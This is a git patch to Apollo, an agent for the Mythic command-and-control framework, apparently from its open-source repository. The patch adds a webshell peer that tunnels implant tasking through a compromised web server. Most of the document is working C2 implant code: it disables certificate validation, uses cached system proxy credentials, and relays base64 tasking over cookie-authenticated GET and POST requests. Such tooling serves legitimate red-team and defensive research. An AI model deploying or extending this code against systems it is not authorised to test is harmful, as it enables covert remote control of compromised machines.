From 92e234f01b5490beec29ed2ca1e3ddd81dac94fd Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Tue, 24 Sep 2024 11:18:46 -0500 Subject: [PATCH] adding support for linking to webshell --- Payload_Type/apollo/CHANGELOG.MD | 6 + .../Apollo/Management/Peer/PeerManager.cs | 5 + .../Apollo/Peers/Webshell/WebshellPeer.cs | 179 ++++++++++++++++++ .../ApolloInterop/Structs/MythicStructs.cs | 11 ++ .../apollo/mythic/agent_functions/builder.py | 2 +- .../apollo/mythic/agent_functions/link.py | 21 +- 6 files changed, 222 insertions(+), 2 deletions(-) create mode 100644 Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index 41bb2d60..0d2db724 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.14] - 2024-09-24 + +### Changed + +- Added in functionality to link to Arachne via webshell configuration + ## [v2.2.13] - 2024-08-21 ### Changed diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs index f440ff88..1524881a 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Peer/PeerManager.cs @@ -1,8 +1,10 @@ using System; using Apollo.Peers.SMB; using Apollo.Peers.TCP; +using Apollo.Peers.Webshell; using ApolloInterop.Interfaces; using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Utils; using AI = ApolloInterop; namespace Apollo.Management.Peer { @@ -24,6 +26,9 @@ public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo) case "TCP": peer = new TCPPeer(_agent, connectionInfo); break; + case "WEBSHELL": + peer = new WebshellPeer(_agent, connectionInfo); + break; default: throw new Exception("Not implemented."); } diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs new file mode 100644 index 00000000..36f41f6f --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Peers/Webshell/WebshellPeer.cs @@ -0,0 +1,179 @@ +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using System; +using System.IO.Pipes; +using System.Linq; +using System.Text; +using AI = ApolloInterop; +using AS = ApolloInterop.Structs.ApolloStructs; +using TTasks = System.Threading.Tasks; +using ApolloInterop.Classes.Core; +using ApolloInterop.Structs.ApolloStructs; +using Tasks; +using ApolloInterop.Utils; +using System.Net; +using System.IO; +using System.Security.Policy; +using ApolloInterop.Types.Delegates; + +namespace Apollo.Peers.Webshell +{ + public class WebshellPeer : AI.Classes.P2P.Peer + { + private Action _sendAction; + private TTasks.Task _sendTask; + private string _remote_url; + private string _remote_query_param; + private string _remote_cookie_name; + private string _remote_cookie_value; + private string _remote_agent_id; + private string _remote_user_agent; + + public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info) + { + C2ProfileName = "webshell"; + _remote_agent_id = info.CallbackUUID; + _remote_url = info.C2Profile.Parameters.WebshellURL; + _remote_query_param = info.C2Profile.Parameters.WebshellQueryParam; + _remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName; + _remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue; + _remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent; + _sendAction = () => + { + _mythicUUID = info.CallbackUUID; + OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID)); + // Disable certificate validation on web requests + ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; + ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + while (!_cts.IsCancellationRequested) + { + _senderEvent.WaitOne(); + if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result)) + { + AS.IPCChunkedData chunkedData = _serializer.Deserialize(Encoding.UTF8.GetString(result)); + if (chunkedData.Data.Length == 0) + { + continue; + } + string data = Encoding.UTF8.GetString(Convert.FromBase64String(chunkedData.Data)); + //DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}"); + Send(data); + } + } + }; + } + + private void Send(string data) + { + WebClient webClient = new WebClient(); + // Use Default Proxy and Cached Credentials for Internet Access + webClient.Proxy = WebRequest.GetSystemWebProxy(); + webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; + webClient.Headers.Add("User-Agent", _remote_user_agent); + //webClient.BaseAddress = _remote_url; + webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}"); + if (data.Length > 4000) + { + // do a POST + try + { + //DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}"); + var response = webClient.UploadString(_remote_url, data); + Recv(response, ""); + } + catch (Exception ex) + { + Recv("", ex.Message); + } + } else + { + // do a GET + string QueryURL = _remote_url; + if (QueryURL.Contains("?")) + { + QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data); + } else + { + QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data); + } + try + { + //DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}"); + using (var stream = webClient.OpenRead(QueryURL)) + { + using (var streamReader = new StreamReader(stream)) + { + var result = streamReader.ReadToEnd(); + Recv(result, ""); + } + } + } + catch(Exception ex) + { + Recv("", ex.Message); + } + } + + } + private void Recv(string data, string error_message) + { + //DebugHelp.DebugWriteLine($"got response: {data} - {error_message}"); + if (error_message.Length > 0) + { + return; + } + if (data.StartsWith("")) + { + string response = data.Replace("", "").Replace("", ""); + if (response.Length == 0) + { + return; + } + byte[] raw = Convert.FromBase64String(response); + byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID); + byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length]; + Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length); + Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length); + string final_response = Convert.ToBase64String(final_bytes); + //DebugHelp.DebugWriteLine($"got final response: {final_response}"); + _agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage() + { + MythicUUID = _mythicUUID, + UUID = _uuid, + C2Profile = C2ProfileName, + Message = final_response + }); + } + } + + public override bool Connected() + { + //DebugHelp.DebugWriteLine($"checking if Connected()"); + return true; + } + + public override bool Finished() + { + //DebugHelp.DebugWriteLine($"checking if Finished()"); + return false; + } + + public override bool Start() + { + //DebugHelp.DebugWriteLine($"Start()"); + _sendTask = new TTasks.Task(_sendAction); + _sendTask.Start(); + return true; + } + + public override void Stop() + { + //DebugHelp.DebugWriteLine($"Stop()"); + _cts.Cancel(); + _senderEvent.Set(); + _sendTask.Wait(); + OnDisconnect(this, new EventArgs()); + } + } +} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs index fed54c82..8e93fcb1 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs @@ -177,6 +177,17 @@ public struct C2ProfileInstanceParameters public MythicEncryption AESPSK; [DataMember(Name = "killdate")] public string KillDate; + [DataMember(Name = "url")] + public string WebshellURL; + [DataMember(Name = "query_param")] + public string WebshellQueryParam; + [DataMember(Name = "cookie_name")] + public string WebshellCookieName; + [DataMember(Name = "cookie_value")] + public string WebshellCookieValue; + [DataMember(Name = "user_agent")] + public string WebshellUserAgent; + } [DataContract] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index dc7561c0..70c0eaee 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.13" + version = "2.2.14" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/link.py b/Payload_Type/apollo/apollo/mythic/agent_functions/link.py index 464178d1..d6a200ef 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/link.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/link.py @@ -1,4 +1,5 @@ from mythic_container.MythicCommandBase import * +from mythic_container.MythicGoRPC.send_mythic_rpc_callback_search import * import json @@ -35,7 +36,25 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat TaskID=taskData.Task.ID, Success=True, ) - response.DisplayParams = "{}".format(taskData.args.get_arg("connection_info")["host"]) + connection_info = taskData.args.get_arg("connection_info") + if connection_info["c2_profile"]["name"] != "webshell": + response.DisplayParams = f"{connection_info['host']} via {connection_info['c2_profile']['name']}" + return response + callback_resp = await SendMythicRPCCallbackSearch(MythicRPCCallbackSearchMessage( + AgentCallbackUUID=taskData.Callback.AgentCallbackID, + SearchCallbackUUID=connection_info["callback_uuid"] + )) + if not callback_resp.Success: + response.Success = False + response.Error = callback_resp.Error + return response + if len(callback_resp.Results) == 0: + response.Success = False + response.Error = "Failed to find callback to link to" + return response + connection_info["c2_profile"]["parameters"]["cookie_value"] = base64.b64encode(callback_resp.Results[0].RegisteredPayloadUUID.encode()).decode() + taskData.args.set_arg("connection_info", connection_info) + response.DisplayParams = f"{connection_info['host']} at {connection_info['c2_profile']['parameters']['url']}" return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: